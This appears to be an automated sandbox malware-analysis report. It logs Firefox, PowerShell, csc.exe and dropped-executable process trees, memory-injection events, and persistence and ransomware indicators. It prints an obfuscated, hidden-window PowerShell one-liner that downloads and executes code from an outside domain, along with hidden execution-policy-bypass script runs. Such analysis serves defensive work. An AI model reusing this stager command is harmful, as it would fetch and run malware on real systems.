3840	firefox.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
3840	firefox.exe
3840	firefox.exe
3840	firefox.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5964	mmc.exe
5964	mmc.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe
5204	osk.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1592 wrote to memory of 3840	1592	firefox.exe	83
PID 1592 wrote to memory of 3840	1592	firefox.exe	83
PID 3840 wrote to memory of 4544	3840	firefox.exe	84
PID 3840 wrote to memory of 4544	3840	firefox.exe	84
PID 3840 wrote to memory of 4544	3840	firefox.exe	84
PID 3840 wrote to memory of 776	3840	firefox.exe	85
PID 3840 wrote to memory of 776	3840	firefox.exe	85
PID 3840 wrote to memory of 776	3840	firefox.exe	85
PID 3840 wrote to memory of 776	3840	firefox.exe	85
PID 3840 wrote to memory of 904	3840	firefox.exe	86
PID 3840 wrote to memory of 904	3840	firefox.exe	86
PID 3840 wrote to memory of 904	3840	firefox.exe	86
PID 3840 wrote to memory of 904	3840	firefox.exe	86
PID 3840 wrote to memory of 4576	3840	firefox.exe	87
PID 3840 wrote to memory of 4576	3840	firefox.exe	87
PID 3840 wrote to memory of 4576	3840	firefox.exe	87
PID 3840 wrote to memory of 900	3840	firefox.exe	88
PID 3840 wrote to memory of 900	3840	firefox.exe	88
PID 3840 wrote to memory of 900	3840	firefox.exe	88
PID 3840 wrote to memory of 900	3840	firefox.exe	88
PID 3840 wrote to memory of 1300	3840	firefox.exe	89
PID 3840 wrote to memory of 1300	3840	firefox.exe	89
PID 3840 wrote to memory of 1300	3840	firefox.exe	89
PID 3840 wrote to memory of 1300	3840	firefox.exe	89
PID 3840 wrote to memory of 952	3840	firefox.exe	90
PID 3840 wrote to memory of 952	3840	firefox.exe	90
PID 3840 wrote to memory of 952	3840	firefox.exe	90
PID 3840 wrote to memory of 952	3840	firefox.exe	90
PID 3840 wrote to memory of 1304	3840	firefox.exe	91
PID 3840 wrote to memory of 1304	3840	firefox.exe	91
PID 3840 wrote to memory of 1304	3840	firefox.exe	91
PID 3840 wrote to memory of 1304	3840	firefox.exe	91
PID 3840 wrote to memory of 3612	3840	firefox.exe	92
PID 3840 wrote to memory of 3612	3840	firefox.exe	92
PID 3840 wrote to memory of 3612	3840	firefox.exe	92
PID 3840 wrote to memory of 3612	3840	firefox.exe	92
PID 3840 wrote to memory of 1860	3840	firefox.exe	110
PID 3840 wrote to memory of 1860	3840	firefox.exe	110
PID 3840 wrote to memory of 1860	3840	firefox.exe	110
PID 3840 wrote to memory of 1860	3840	firefox.exe	110
PID 5476 wrote to memory of 5816	5476	PowerShell.exe	111
PID 3840 wrote to memory of 5496	3840	firefox.exe	114
PID 3840 wrote to memory of 5496	3840	firefox.exe	114
PID 3840 wrote to memory of 5496	3840	firefox.exe	114
PID 3840 wrote to memory of 5496	3840	firefox.exe	114
PID 3840 wrote to memory of 4732	3840	firefox.exe	115
PID 3840 wrote to memory of 4732	3840	firefox.exe	115
PID 3840 wrote to memory of 4732	3840	firefox.exe	115
PID 3840 wrote to memory of 4732	3840	firefox.exe	115
PID 3840 wrote to memory of 5784	3840	firefox.exe	116
PID 3840 wrote to memory of 5784	3840	firefox.exe	116
PID 3840 wrote to memory of 5784	3840	firefox.exe	116
PID 3840 wrote to memory of 5784	3840	firefox.exe	116
PID 3840 wrote to memory of 2436	3840	firefox.exe	117
PID 3840 wrote to memory of 2436	3840	firefox.exe	117
PID 3840 wrote to memory of 2436	3840	firefox.exe	117
PID 3840 wrote to memory of 2436	3840	firefox.exe	117
PID 3840 wrote to memory of 4624	3840	firefox.exe	119
PID 3840 wrote to memory of 4624	3840	firefox.exe	119
PID 3840 wrote to memory of 4624	3840	firefox.exe	119
PID 3840 wrote to memory of 4624	3840	firefox.exe	119
PID 3840 wrote to memory of 5652	3840	firefox.exe	120
PID 3840 wrote to memory of 5652	3840	firefox.exe	120
PID 3840 wrote to memory of 5652	3840	firefox.exe	120

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "https://bincheak.io"
1⤵
- Suspicious use of WriteProcessMemory
PID:1592
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url https://bincheak.io
  2⤵
  - Suspicious clipboard content.
  - Checks processor information in registry
  - Modifies registry class
  - NTFS ADS
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3840
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1980 -prefsLen 27100 -prefMapHandle 1984 -prefMapSize 270279 -ipcHandle 2072 -initialChannelId {a9acb26a-63dc-4c27-b2ee-c7dcc63ef7a6} -parentPid 3840 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3840" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
    3⤵
    PID:4544
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2468 -prefsLen 27136 -prefMapHandle 2472 -prefMapSize 270279 -ipcHandle 2492 -initialChannelId {fa2ece8e-9be6-4e6e-9a02-442f0b3b0731} -parentPid 3840 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3840" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
    3⤵
    PID:776
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3796 -prefsLen 25164 -prefMapHandle 3800 -prefMapSize 270279 -jsInitHandle 3804 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3808 -initialChannelId {c36205ba-eb74-46fc-bf3a-0d6d0a6197fe} -parentPid 3840 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3840" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
    3⤵
    - Checks processor information in registry
    PID:904
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3960 -prefsLen 27277 -prefMapHandle 3964 -prefMapSize 270279 -ipcHandle 4032 -initialChannelId {c172827e-8534-4b0d-86b0-8aa93798b54f} -parentPid 3840 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3840" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
    3⤵
    PID:4576
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2956 -prefsLen 34776 -prefMapHandle 3056 -prefMapSize 270279 -jsInitHandle 2952 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4260 -initialChannelId {f00c29a3-4d79-4508-bdc2-13b2ee0e3439} -parentPid 3840 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3840" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
    3⤵
    - Checks processor information in registry
    PID:900
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 5008 -prefsLen 34906 -prefMapHandle 5012 -prefMapSize 270279 -ipcHandle 5020 -initialChannelId {93c48fb8-0778-49eb-8a54-c5f964ed8fd2} -parentPid 3840 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3840" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
    3⤵
    - Checks processor information in registry
    PID:1300
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5224 -prefsLen 32845 -prefMapHandle 5228 -prefMapSize 270279 -jsInitHandle 5172 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5068 -initialChannelId {a95ceb72-d3b8-4082-b06e-eed64f8e855d} -parentPid 3840 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3840" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
    3⤵
    - Checks processor information in registry
    PID:952
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5292 -prefsLen 32845 -prefMapHandle 5296 -prefMapSize 270279 -jsInitHandle 5300 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5304 -initialChannelId {d3d6f79d-6605-4a80-9286-0174ca4f5724} -parentPid 3840 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3840" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
    3⤵
    - Checks processor information in registry
    PID:1304
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2972 -prefsLen 32952 -prefMapHandle 3112 -prefMapSize 270279 -jsInitHandle 3116 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4996 -initialChannelId {24bb96c9-572c-4af6-9e5a-1f2155f809c4} -parentPid 3840 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3840" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
    3⤵
    - Checks processor information in registry
    PID:3612
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4852 -prefsLen 35709 -prefMapHandle 4740 -prefMapSize 270279 -jsInitHandle 4764 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4768 -initialChannelId {ac621247-08ec-40cf-af63-e5fd6360cb9b} -parentPid 3840 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3840" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab
    3⤵
    - Checks processor information in registry
    PID:1860
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3928 -prefsLen 35828 -prefMapHandle 3932 -prefMapSize 270279 -jsInitHandle 3916 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6456 -initialChannelId {1f610c19-e5a0-43aa-89e5-05302ab6c92c} -parentPid 3840 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3840" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 tab
    3⤵
    - Checks processor information in registry
    PID:5496
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3156 -prefsLen 36708 -prefMapHandle 6768 -prefMapSize 270279 -jsInitHandle 6764 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6748 -initialChannelId {b14e8b1b-5518-4c7b-b2d7-40ae385bde5d} -parentPid 3840 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3840" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab
    3⤵
    - Checks processor information in registry
    PID:4732
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5524 -prefsLen 36708 -prefMapHandle 5512 -prefMapSize 270279 -jsInitHandle 5500 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5472 -initialChannelId {3e5cb35c-a58d-4fbe-86e5-b143d67c6bdc} -parentPid 3840 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3840" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 13 tab
    3⤵
    - Checks processor information in registry
    PID:5784
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 7156 -prefsLen 36708 -prefMapHandle 7160 -prefMapSize 270279 -jsInitHandle 7164 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 7136 -initialChannelId {1bf4f3a2-8c18-42ef-932a-7c9d349954dd} -parentPid 3840 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3840" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 14 tab
    3⤵
    - Checks processor information in registry
    PID:2436
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 7436 -prefsLen 36708 -prefMapHandle 7444 -prefMapSize 270279 -jsInitHandle 7440 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6716 -initialChannelId {b6e60688-7400-4aa0-80da-04cdba135515} -parentPid 3840 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3840" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 15 tab
    3⤵
    - Checks processor information in registry
    PID:4624
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 1 -prefsHandle 7012 -prefsLen 39828 -prefMapHandle 7160 -prefMapSize 270279 -ipcHandle 7792 -initialChannelId {9e2e1387-90db-4ad2-b5e6-a23ab5752cf1} -parentPid 3840 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3840" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 16 utility
    3⤵
    - Checks processor information in registry
    PID:5652
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 2 -prefsHandle 7052 -prefsLen 39828 -prefMapHandle 7308 -prefMapSize 270279 -ipcHandle 7804 -initialChannelId {010c271c-8f51-41c2-bb29-eb8b566c1b20} -parentPid 3840 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3840" -appDir "C:\Program Files\Mozilla Firefox\browser" - 17 utility
    3⤵
    - Checks processor information in registry
    PID:5604
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 7976 -prefsLen 36708 -prefMapHandle 7156 -prefMapSize 270279 -jsInitHandle 7356 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 7280 -initialChannelId {5300bbf0-eab3-435a-8ef3-53a392b7cbcb} -parentPid 3840 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3840" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 18 tab
    3⤵
    - Checks processor information in registry
    PID:5044
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6588 -prefsLen 36708 -prefMapHandle 6740 -prefMapSize 270279 -jsInitHandle 6700 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6864 -initialChannelId {4599de85-40c8-4dc1-9301-3ccf1aa36d65} -parentPid 3840 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3840" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 19 tab
    3⤵
    - Checks processor information in registry
    PID:3864
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6700 -prefsLen 36708 -prefMapHandle 7260 -prefMapSize 270279 -jsInitHandle 6864 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 7128 -initialChannelId {c9685286-a7a4-4567-b465-08c031ede702} -parentPid 3840 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3840" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 20 tab
    3⤵
    - Checks processor information in registry
    PID:1328
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6936 -prefsLen 36708 -prefMapHandle 6924 -prefMapSize 270279 -jsInitHandle 6912 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 8488 -initialChannelId {04918335-dd31-45a7-8d7a-afd4803e16f6} -parentPid 3840 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3840" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 21 tab
    3⤵
    - Checks processor information in registry
    PID:5756
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 8532 -prefsLen 36708 -prefMapHandle 8536 -prefMapSize 270279 -jsInitHandle 8540 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 8548 -initialChannelId {8b2e1518-bc9a-41cb-90c9-d39edcc1945f} -parentPid 3840 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3840" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 22 tab
    3⤵
    - Checks processor information in registry
    PID:2228
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 8140 -prefsLen 36708 -prefMapHandle 8124 -prefMapSize 270279 -jsInitHandle 8128 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 8164 -initialChannelId {a021b1b2-c230-4dcd-8384-c31aea9b0295} -parentPid 3840 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3840" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 23 tab
    3⤵
    - Checks processor information in registry
    PID:6828
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 8136 -prefsLen 36708 -prefMapHandle 8152 -prefMapSize 270279 -jsInitHandle 8164 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 8260 -initialChannelId {0a6b5493-ee2e-4f8e-952c-8bb4fc9ada83} -parentPid 3840 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3840" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 24 tab
    3⤵
    - Checks processor information in registry
    PID:472
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6628 -prefsLen 36708 -prefMapHandle 8808 -prefMapSize 270279 -jsInitHandle 8436 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5552 -initialChannelId {04808992-9a39-44b3-b2e1-39da1a853d3a} -parentPid 3840 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3840" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 25 tab
    3⤵
    - Checks processor information in registry
    PID:6284
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 8796 -prefsLen 36708 -prefMapHandle 8816 -prefMapSize 270279 -jsInitHandle 6836 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5496 -initialChannelId {9d81681a-03fe-4e2a-b7c3-37e2cce6670b} -parentPid 3840 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3840" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 26 tab
    3⤵
    - Checks processor information in registry
    PID:3584
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5528 -prefsLen 36708 -prefMapHandle 6996 -prefMapSize 270279 -jsInitHandle 7252 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6552 -initialChannelId {a16f1306-92d1-4094-8ea6-c064d1698da3} -parentPid 3840 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3840" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 27 tab
    3⤵
    - Checks processor information in registry
    PID:6800

C:\Windows\system32\osk.exe
"C:\Windows\system32\osk.exe"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:5204

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x3fc 0x390
1⤵
PID:5336

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -WiND MiNimiZ $VGI='ExportedCommands';$VNfr=IPMO 'M*.P*.U*' -Pass;$VNfr=$VNfr.$VGI.Values.Name;$EwJ=$VNfr[52];$rlXM=$VNfr[51];.$rlXM(.$EwJ finchish.com);$eHwCIeDCYmbvpcvNDjWbIiPTUYvDWwDDZFnuMRrwDiiifCEsEgzVStrmvJimnqOKbviwZTfpbuQjChiAXmJgDtxRUo
1⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5476
- C:\Windows\system32\whoami.exe
  "C:\Windows\system32\whoami.exe" /groups
  2⤵
  PID:5816

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\ProgramData\Healthcare\vacuumtubeer.ps1
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5112

C:\Windows\system32\mmc.exe
"C:\Windows\system32\mmc.exe" "C:\Windows\system32\taskschd.msc" /s
1⤵
- Drops file in System32 directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:5964

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\ProgramData\Healthcare\vacuumtubeer.ps1
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
PID:5712
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0ojkobkn\0ojkobkn.cmdline"
  2⤵
  PID:6356
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB52D.tmp" "c:\Users\Admin\AppData\Local\Temp\0ojkobkn\CSC5662020FB9F2450792CA546344489D7D.TMP"
    3⤵
    PID:6400
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0x4y5jxv\0x4y5jxv.cmdline"
  2⤵
  PID:6452
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB627.tmp" "c:\Users\Admin\AppData\Local\Temp\0x4y5jxv\CSCEA2CACF82CE743EF9BBB46937224A94.TMP"
    3⤵
    PID:6488

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\ProgramData\Healthcare\vacuumtubeer.ps1
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
PID:3736
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\goyu3wkk\goyu3wkk.cmdline"
  2⤵
  PID:6584
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBFCC.tmp" "c:\Users\Admin\AppData\Local\Temp\goyu3wkk\CSCC9011AF3FF5048948FF35EE764942F5.TMP"
    3⤵
    PID:6620
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ytlbzaxx\ytlbzaxx.cmdline"
  2⤵
  PID:6668
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC0B6.tmp" "c:\Users\Admin\AppData\Local\Temp\ytlbzaxx\CSC2D9FDB8C63E948679F74E265EF2DD243.TMP"
    3⤵
    PID:6704

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\ProgramData\Healthcare\vacuumtubeer.ps1
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
PID:7008
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mc2gg3ck\mc2gg3ck.cmdline"
  2⤵
  PID:6988
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFB10.tmp" "c:\Users\Admin\AppData\Local\Temp\mc2gg3ck\CSCF43A802172E643F19CA52DFE2238A3.TMP"
    3⤵
    PID:4972
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jkbvo0xg\jkbvo0xg.cmdline"
  2⤵
  PID:4264
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFC0A.tmp" "c:\Users\Admin\AppData\Local\Temp\jkbvo0xg\CSC8198955AFF2C484CA2F4D1C41EF87CAC.TMP"
    3⤵
    PID:5888

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:6360

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5416

C:\ProgramData\CobalDecoder\CobalDecoder.exe
"C:\ProgramData\CobalDecoder\CobalDecoder.exe"
1⤵
PID:5716
- C:\ProgramData\com_nt_firewall_v6_32\CobalDecoder.exe
  C:\ProgramData\com_nt_firewall_v6_32\CobalDecoder.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - Suspicious behavior: MapViewOfSection
  PID:4076
